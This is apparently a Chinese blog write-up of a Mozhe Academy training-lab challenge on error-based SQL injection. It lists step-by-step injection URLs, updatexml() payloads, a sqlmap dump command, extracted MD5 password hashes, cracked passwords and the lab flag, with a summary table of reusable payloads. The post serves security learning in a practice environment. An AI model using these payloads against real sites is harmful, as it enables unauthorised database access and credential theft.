墨者学院11 SQL注入漏洞测试(报错盲注)

2023-12-04 02:40

本文主要是介绍墨者学院11 SQL注入漏洞测试(报错盲注),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

问题描述

题目链接:SQL注入漏洞测试(报错盲注)

最近压力好大,很久没有更新博文了~

(●'◡'●)又叕见面了,熟悉的页面,熟悉的用户登录框,熟悉的平台停机维护通知滚动链接~

 这些就是已知的条件啦~


解决方案:

工具:sqlmap(非必要)

参考:评论区大佬 初冬123 的留言

1 判断注入点

测试停机维护的网页是否存在字符型注入点,在url后加一个用于闭合的单引号就可以~

http://124.70.71.251:41801/new_list.php?id=1'

网页报错,这个就是明显的注入点啦~

2 判断字段数

其次,判断当前数据库的字段数(列数),在指令前增加单引号闭合,指令后增加双短线注释就可以~

http://124.70.71.251:44613/new_list.php?id=1' order by 1 --+

网页正常,说明order by 1是正确指令,我们换成2、3、4逐渐尝试,发现输出是一致的,说明至少是存在4个字段的~

直到输入order by 5时,页面报错,说明语句执行失败,当前数据库的字段仅有4列~

 3 判断回显字段

http://124.70.71.251:44613/new_list.php?id=1' union select 1,2,3,4 --+

通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~

可惜页面没有回显数字,直接报错了,哎~~可能是union select被禁掉了~所以需要使用函数updatexml()、extractvalue()进行报错注入~

update报错注入参考1:updatexml报错注入原理_开心星人的博客-CSDN博客

update报错注入参考2:报错注入的原理分析_美创安全实验室的博客-CSDN博客

4 查询数据库名称

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

payload是红色的字符,其余大概就是报错用的马甲~

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

执行结果,该数据库的名称为:stormgroup~

5 查询数据库表名

select group_concat(table_name) from information_schema.tables where table_schema= '库名'

{在数据库中查询所有数字库表信息(information_schema.tables数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,详见information_schema表),合并输出其中的数据表名group_concat(table_name)~}

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'stormgroup'),0x7e),1)--+

嗯?好像是失败了,页面报错了,根据回显应该是语法有问题,去掉group_concat()试一下~

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup'),0x7e),1)--+

 嗯...好像又失败了,查询的结果不能多于1个~

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1)--+

这次成功了,输入结果如下图所示,表名:member

 同理把limit(0,1)换成limit(1,2)还可以查询出另一个表名notice,虽然这个表名目测起来平平无奇~

 所以目前存着两个表:(1)member(2)notice~

6 查询字段名称

union select column_name from information_schema.columns where table_name='表名'

{在所有数字库表信息information_schema.columns中查询数据库'表名'table_name,输出其中的字段名column_name~}

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'member' limit 0,1),0x7e),1)--+

输入结果如下图所示~

 将limit(0,1)两个数字分别递增替换limit(1,1),limit(2,2),可以发现字段名有三个:(1)name (2)password (3)status~

7 查询字段内容

在字段2和3处输入 查询字段内容 的命令~

select 字段名 from 表名

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+

查询到用户名:mozhe 

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+

查询到密码:3114b433dece9180717f2b7de56b28a,这是个31位的md5,气不气~

将limit(0,1)改成limit(1,1),查询到密码:9c949213b6100d58dea4ea1268842c6,也是31位~

 emm,也没什么关系,可能截断输出了,此时把0x7e和查询语句换个位置就能找出最后一位了~

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat((select password from member limit 0,1),0x7e,0x7e),1)--+

所以查询到的两个md5码:

密码1:3114b433dece9180717f2b7de56b28a3(MD5码)

密码2:9c949213b6100d58dea4ea1268842c6a(MD5码)

ps:如果只限制查询语句,没截断页面输出长度的话,用下面的语句也可以~

http://124.70.71.251:44613/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(name,'~',password) from member),0x7e),1)--+

呃,嫌弃这个手注坑的也可以用sqlmap,这里我们省去前面查表的步骤,直接在库(-D stormgroup)表(-T member)字段名下跑字段内容(name、password),且自动处理问题(--batch)~

python sqlmap.py -u http://124.70.71.251:42378/new_list.php?id=1 -D stormgroup -T member -C name,password --dump —batch

8 md5解密

免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

密码1:528469

密码2:984767

返回最初的登录页面,输入用户名:mozhe、密码:984767,登录结果如下图~

KEY:mozhe860a74377946ace1d8ecadc359e

总结:

1 整个MySQL数据库-字符型报错注入流程使用到以下语句~

语句功能

'

判断注入点
'order by 5 --+判断字段数
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+查询数据库名称
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = '库名'),0x7e),1)--+查询数据库表名
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = '表名'),0x7e),1)--+查询字段名称
id=1' and updatexml(1,concat(0x7e,(select 字段名 from 表名),0x7e),1)--+查询字段内容1
id=1' and updatexml(1,concat(0x7e,(select group_concat(name,'~',password) from member),0x7e),1)--+查询字段内容2

2 若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

话说最近手工注入练得人都麻了...水这么多文都快变成波塞冬了~::>_<::

这篇关于墨者学院11 SQL注入漏洞测试(报错盲注)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/451814

相关文章

慢sql提前分析预警和动态sql替换-Mybatis-SQL

《慢sql提前分析预警和动态sql替换-Mybatis-SQL》为防止慢SQL问题而开发的MyBatis组件,该组件能够在开发、测试阶段自动分析SQL语句,并在出现慢SQL问题时通过Ducc配置实现动... 目录背景解决思路开源方案调研设计方案详细设计使用方法1、引入依赖jar包2、配置组件XML3、核心配

MySQL数据库约束深入详解

《MySQL数据库约束深入详解》:本文主要介绍MySQL数据库约束,在MySQL数据库中,约束是用来限制进入表中的数据类型的一种技术,通过使用约束,可以确保数据的准确性、完整性和可靠性,需要的朋友... 目录一、数据库约束的概念二、约束类型三、NOT NULL 非空约束四、DEFAULT 默认值约束五、UN

电脑找不到mfc90u.dll文件怎么办? 系统报错mfc90u.dll丢失修复的5种方案

《电脑找不到mfc90u.dll文件怎么办?系统报错mfc90u.dll丢失修复的5种方案》在我们日常使用电脑的过程中,可能会遇到一些软件或系统错误,其中之一就是mfc90u.dll丢失,那么,mf... 在大部分情况下出现我们运行或安装软件,游戏出现提示丢失某些DLL文件或OCX文件的原因可能是原始安装包

电脑显示mfc100u.dll丢失怎么办?系统报错mfc90u.dll丢失5种修复方案

《电脑显示mfc100u.dll丢失怎么办?系统报错mfc90u.dll丢失5种修复方案》最近有不少兄弟反映,电脑突然弹出“mfc100u.dll已加载,但找不到入口点”的错误提示,导致一些程序无法正... 在计算机使用过程中,我们经常会遇到一些错误提示,其中最常见的就是“找不到指定的模块”或“缺少某个DL

MySQL 多表连接操作方法(INNER JOIN、LEFT JOIN、RIGHT JOIN、FULL OUTER JOIN)

《MySQL多表连接操作方法(INNERJOIN、LEFTJOIN、RIGHTJOIN、FULLOUTERJOIN)》多表连接是一种将两个或多个表中的数据组合在一起的SQL操作,通过连接,... 目录一、 什么是多表连接?二、 mysql 支持的连接类型三、 多表连接的语法四、实战示例 数据准备五、连接的性

解决IDEA报错:编码GBK的不可映射字符问题

《解决IDEA报错:编码GBK的不可映射字符问题》:本文主要介绍解决IDEA报错:编码GBK的不可映射字符问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录IDEA报错:编码GBK的不可映射字符终端软件问题描述原因分析解决方案方法1:将命令改为方法2:右下jav

MySQL中的分组和多表连接详解

《MySQL中的分组和多表连接详解》:本文主要介绍MySQL中的分组和多表连接的相关操作,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录mysql中的分组和多表连接一、MySQL的分组(group javascriptby )二、多表连接(表连接会产生大量的数据垃圾)MySQL中的

MyBatis模糊查询报错:ParserException: not supported.pos 问题解决

《MyBatis模糊查询报错:ParserException:notsupported.pos问题解决》本文主要介绍了MyBatis模糊查询报错:ParserException:notsuppo... 目录问题描述问题根源错误SQL解析逻辑深层原因分析三种解决方案方案一:使用CONCAT函数(推荐)方案二:

MySQL 中的 JSON 查询案例详解

《MySQL中的JSON查询案例详解》:本文主要介绍MySQL的JSON查询的相关知识,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录mysql 的 jsON 路径格式基本结构路径组件详解特殊语法元素实际示例简单路径复杂路径简写操作符注意MySQL 的 J

Spring Boot中JSON数值溢出问题从报错到优雅解决办法

《SpringBoot中JSON数值溢出问题从报错到优雅解决办法》:本文主要介绍SpringBoot中JSON数值溢出问题从报错到优雅的解决办法,通过修改字段类型为Long、添加全局异常处理和... 目录一、问题背景:为什么我的接口突然报错了?二、为什么会发生这个错误?1. Java 数据类型的“容量”限制